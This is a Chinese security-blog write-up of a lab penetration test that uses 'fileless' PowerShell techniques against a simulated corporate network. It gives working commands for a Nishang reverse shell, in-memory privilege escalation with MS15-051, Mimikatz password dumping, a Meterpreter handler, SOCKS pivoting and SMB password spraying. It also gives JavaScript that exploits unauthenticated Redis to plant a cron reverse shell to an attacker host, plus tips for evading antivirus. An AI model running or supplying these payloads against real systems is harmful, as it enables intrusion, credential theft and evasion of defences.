「無文件」攻擊方式滲透實驗
*本文原創作者:亞信安全(企業賬號),本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
前幾天看了一個文章《全球上百家銀行和金融機構感染了一種「無文件」惡意程序,幾乎無法檢測》,覺得
powershell
很是神奇,自己希望親手實驗一下,以最大程度還原
「
無文件」
攻擊方式。拓撲設計
拓撲介紹
其中192.168.1.0/24模擬的是公網的環境
172.21.132.0/24模擬的是企業內網的環境
邊界web伺服器雙網卡(公網的:192.168.1.110,和內網的172.21.132.110),而且為了最基本的安全保障,web邊界伺服器設置了防火牆,此防火牆對外網只開放80,81,443埠,對內網開放所有埠,上面還裝有360殺毒軟體。
內網還布置若干台web伺服器,一台旁路告警設備(ips),他們都可以連接到外網,但是外網訪問不到內部的任何web伺服器
其中web伺服器(linux)(172.21.132.113)前面放置防火牆,不可以被內網的其他web伺服器訪問到,但是它可以訪問到內網的其他伺服器,並且能夠連接到外網。這套環境裡面的192.168.1.108是黑客的kali攻擊機,192.168.1.212是黑客的windows攻擊機
科普下nishang和PowerSploit
1、Nishang是基於PowerShell的滲透測試專用工具。集成了框架、腳本和各種payload。這些腳本是由Nishang的作者在真實滲透測試過程中有感而發編寫的,具有實戰價值。包括了下載和執行、鍵盤記錄、dns、延時命令等腳本
2、PowerSploit是又一款Post Exploitation 相關工具,Post Exploitation是老外滲透測試標準裡面的東西,就是獲取shell之後乾的一些事情。
PowerSploit 其實就是一些powershell腳本,包括Inject-Dll(注入dll
到指定進程
)、Inject-Shellcode(注入shellcode到執行進程)、 Encrypt- Script(文本或腳本加密)、Get-GPPPassword(通過groups.xml
獲取明文密碼)、
Invoke- ReverseDnsLookup(掃描DNS PTR記錄)滲透開始
首先邊界
web
伺服器上fastcgi
配置錯誤,導致伺服器被getshell
因為網上的菜刀好多都有後門,所以我用開源的CKnife
(介紹地址:跨平台版中國菜刀Cknife發布項目地址:Cknife的github)
因為伺服器上有殺毒軟體,所以要把一句話木馬做一下轉換。繞過思路參考:打狗棒法之進階篇:Cknife修改配置法秒過安全狗
我用的伺服器端木馬內容
替換
Config.ini
的PHP_MAKE
為base64_decode($_POST["action"]);
連接方式
拿到webshell之後,首先用systeminfo來查看系統信息
首先可以看到這個是一台
win2008 r2 64
位系統,而且沒有打任何系統補丁所以我可以從上面反彈一個
powershell
出來進行進一步的滲透首先把
nishang git clone
到自己的web
目錄下面,然後在shell
目錄下找到Invoke-PowerShellTcp.ps1
,我為了方便把Invoke-PowerShellTcp.ps1
複製到了web
的根目錄,我先在自己的機子上用nc
監聽8888
埠,然後執行powershell IEX(New-ObjectNet.WebClient).DownloadString(『http://192.168.108/Invoke-PowerShellTcp.ps1『);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888
在
nc
上得到一個反彈出來的powershell
查看許可權發現許可權比較低只是:
iis apppool
所以我需要提高一下許可權。
一般的做法是要上傳一個內核溢出的
exp
,一般都是上傳一個exe
,但是我在這裡選擇直接從遠處載入一個exe
到受害主機內存中,並且讓他執行起來,詳細的我會在《有趣的滲透(番外篇)》中詳細的說明。我先把https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1下載到我的
web
目錄下面,再把用到的提權exp
(ms1564.exe
)放到web
根目錄下面然後在反彈的
shell
裡面運行IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.108/Invoke-ReflectivePEInjection.ps1");Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR
這樣再執行whoami看許可權的話就可以看到是 nt authority。
(
Ps
:這裡面有個坑,這個ms15051
的exp
是隨便從一個網上下載下來的,沒有經過改造,所以當執行的指令參數有空格的時候,他就沒有任何反應,也沒有任何回顯。後來經過我不斷的嘗試,執行
cmd
的時候就可以把shell
的許可權提了,很不錯,但是如果你執行powershell
這個指令的話,那麼這個反彈的shell
就會假死)這個時候在本機搜集一下信息:
首先用
mimikatz
來脫出登陸過得密碼:IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-Mimikatz.ps1");Invoke-Mimikatz
查看arp的列表
看到好多機子集中在
172.21.132.100-120
這個網段我調用poershell
掃一下埠掃描的腳本從這裡下載:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
掃描:
IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-PortScan.ps1");Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort
這個時候我用利用
powershell
反彈一個meterpreter
利用powersploit
框架,由於一些奇怪的原因,作者把框架中支持msf
的部分去掉了,但是經過的我的查找,在作者提交的歷史記錄裡面找到了最後一版支持msf
的部分:
地址是:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1
如果
git clone
新版本的PowerSploit
你要用老版本的CodeExecution/Invoke–Shellcode.ps1
替換掉新版本的文件。
使用方法還是先把腳本下載到黑客自己的
web
目錄下,我為了方便,我寫了一個調用腳本放在web
目錄下(1.ps1)
IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1")
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force
先把
msf
打開,然後設置payload
為windows/meterpreter/reverse_https,
並且監聽在4444
埠:msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0msf exploit(handler) > run
然後在
powershell
反彈的shell
中調用IEX (New-ObjectNet.WebClient).DownloadString(『http://192.168.1.108/1.ps1『)
成功拿到
meterpreter,
但是注意:這個meterpreter
執行shell
是不能得到互動式的cmd ,
因為剛才用exp
把反彈的powershell
變成了system
的許可權,所以再反彈出來的meterpreter
也是system
許可權這個時候可以
meterpreter
查看路由:runget_local_subnets
meterpreter
尋找putty
保存的信息run enum_putty
meterpreter
尋找ie
保存的密碼run post/windows/gather/enum_ie
本地信息搜集差不多了,可以
把
meterpreter
放入後台:background
然後添加路由(這樣才能進行內網的掃描):
route add 172.21.132.0 255.255.255.0 1 route add
的第一個參數是地址,第二個參數地址是掩碼,第三個參數是sessis
的id
進行內網的主機掃描:利用smb進行主機識別: use auxiliary/scanner/smb/smb_version
利用剛才找到的管理員密碼在內網裡面碰撞一下,看看多少主機用的是同樣的密碼用的是:use auxiliary/scanner/smb/smb_login
可以看到內網裡面的大部分機子都是用的一個密碼
下面我要用
socks
代理進入到內網裡面獲取一些信息有三種選擇:
首先
msf
提供了一種socks4a
的代理,瀏覽器可以用這個代理進入到內網,但是burp
不能用socks4a
的代理。
第二:可以用
reGeorgSocksProxy.py
的socks5
進入到內網裡面第三:可以用特殊處理過得
xsocks.exe,
通過powershell
遠程載入到內存裡面運行之後得到socks5
的代理因為這是
60
位元組webshell
的雜技,所以我用第三種方法進入到內網:首先在黑客的
web
裡面放入特殊處理的xsocks.exe
,然後用poweshell
載入IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-ReflectivePEInjection.ps1");Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR
然後burp這樣設置:
火狐中這樣設置
就可以實現這樣的效果了
看一下效果:
把流量攔截下來repeater也可以
* 普及一下redis未授權的知識 詳細的文章可以看redis未授權訪問總結而redis的csrf漏洞的產生原因是:就是當向redis發送無效指令時,redis自身協議不會終止tcp鏈接。同時redis只會執行body里的有效指令,而不會關心http header里的內容。
* 科普一下csrf的攻擊:CSRF:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF,簡單來說攻擊者盜用了你的身份,以你的名義發送惡意請求。
CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬……造成的問題包括:個人隱私泄露以及財產安全。
常見的經典csrf的案例是通過csrf修改你家路由器的dns配置,從而達到非法獲利的目的,可以參考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC測試過程)
經過內網探測,發現
172.21.132.113
開放6379
埠,但是通過代理無法連接到後來發現在
172.21.132.117:83/xss/add.php
發現一個留言板所以根據這個文章:Client-SideRedis Attack Proof of Concept,我做了一個可以利用
redis
未授權訪問得到反彈shell
的js:
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("flushall
");
var cmd =new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("eval "" + "redis.call("set","1","\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\n\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");" + "" 0" +"
");
var cmd =new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("save
");
把他放在自己的
web
目錄下,然後在留言板寫入:在本機監聽用nc監聽5566埠,只要有裝redis 的那台機子的管理員查看留言板的話就會彈出一個shell給我的主機
可以看到這個已經反彈的處理的
shell
是root
許可權至此,整個內網已經被完全滲透
最後的tips
我在上面介紹用:
poweshell
載入外部的exe
進入內存執行,從而不在受害主機裡面留下任何痕迹,而且也可以繞過國內主流殺軟的查殺
這個想法的實現根據這個文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell,還有Powershelltricks::Code Execution & Process Injection
要是實現這個前提條件是:
1.你要有源碼
2.源碼必須是c++編寫,c#編寫的一律崩潰
3.編譯的時候建議用vs2010+winxp編譯
4.在win上不能用gcc去編譯
5.編譯採用/MT 或者/MTd
6.
如果要傳遞參數的話把int main(int argc char **argv)
改成int main(){ }
LPWSTR*szArglist;
int nArgs;
int i;
szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
if( NULL ==szArglist )
{
wprintf(L"CommandLineToArgvW failed
");
return0;
}
……………………
7.
代碼中不能有寫文件的操作下面是集中滲透軟體編譯過程
我以提權工具ms15-051的代碼做實驗(
代碼的源碼
),添加傳遞參數的代碼後 裡面有幾個字元轉換的問題,可以自己解決一下,本人 生成好了以後看看效果首先把生成好的ms15-051.exe上傳到自己的web伺服器。
先下載到
本地看看什麼效果然後用編譯好的ms15-051.exe用powershell載入一下
*本文原創作者:亞信安全(企業賬號),本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


※實驗室里的不定時炸彈
※超冷原子實驗驗證量子相變的時空對稱性
※沖馬桶,到底蓋,還是不蓋?實驗結果驚呆所有人...
※人性實驗:10萬買你的女友過夜!
※除了投200億開發智能汽車,長安汽車還與科大訊飛成立聯合實驗室,發力人工智慧
TAG:實驗 |
※污染場地修復技術之滲透性反應牆技術
※無線滲透工具合集
※滲透測試教程:如何偵查目標以及收集信息?
※圍觀凈水神器——反滲透膜
※《永恆邊境》精銳的滲透者屬性測評
※人工智慧滲透無孔不入,無人機將能實現對人的全方位追蹤拍照
※恐怖分子是怎樣滲透文明社會的
※滲透測試指南之域用戶組的範圍
※虛擬滲透的真情與套路
※恐怖漫畫《噩夢碎片》之鬼妝8 細思極恐,滲透人性的善與惡!
※滲透技巧——程序的降權啟動
※《我在故宮修文物》:對文物的保護敬畏滲透在血液里
※如何在特定的滲透測試中使用正確的Burp擴展插件
※以撲克遊戲網站為例,實戰Flash應用程序滲透測試
※讀者來稿:喵星人利用互聯網對人類種群實行滲透性精神控制的證據
※鋰滲透如何破解?提升鋰電池固態電解質光滑度成關鍵
※見人就開槍射殺!巴鐵邊境挖地道滲透打擊印度,印軍竟如此報復
※Web黑客基礎:搭建滲透測試環境,盡情的合法入侵吧!
※太極拳與跤術 相互滲透融合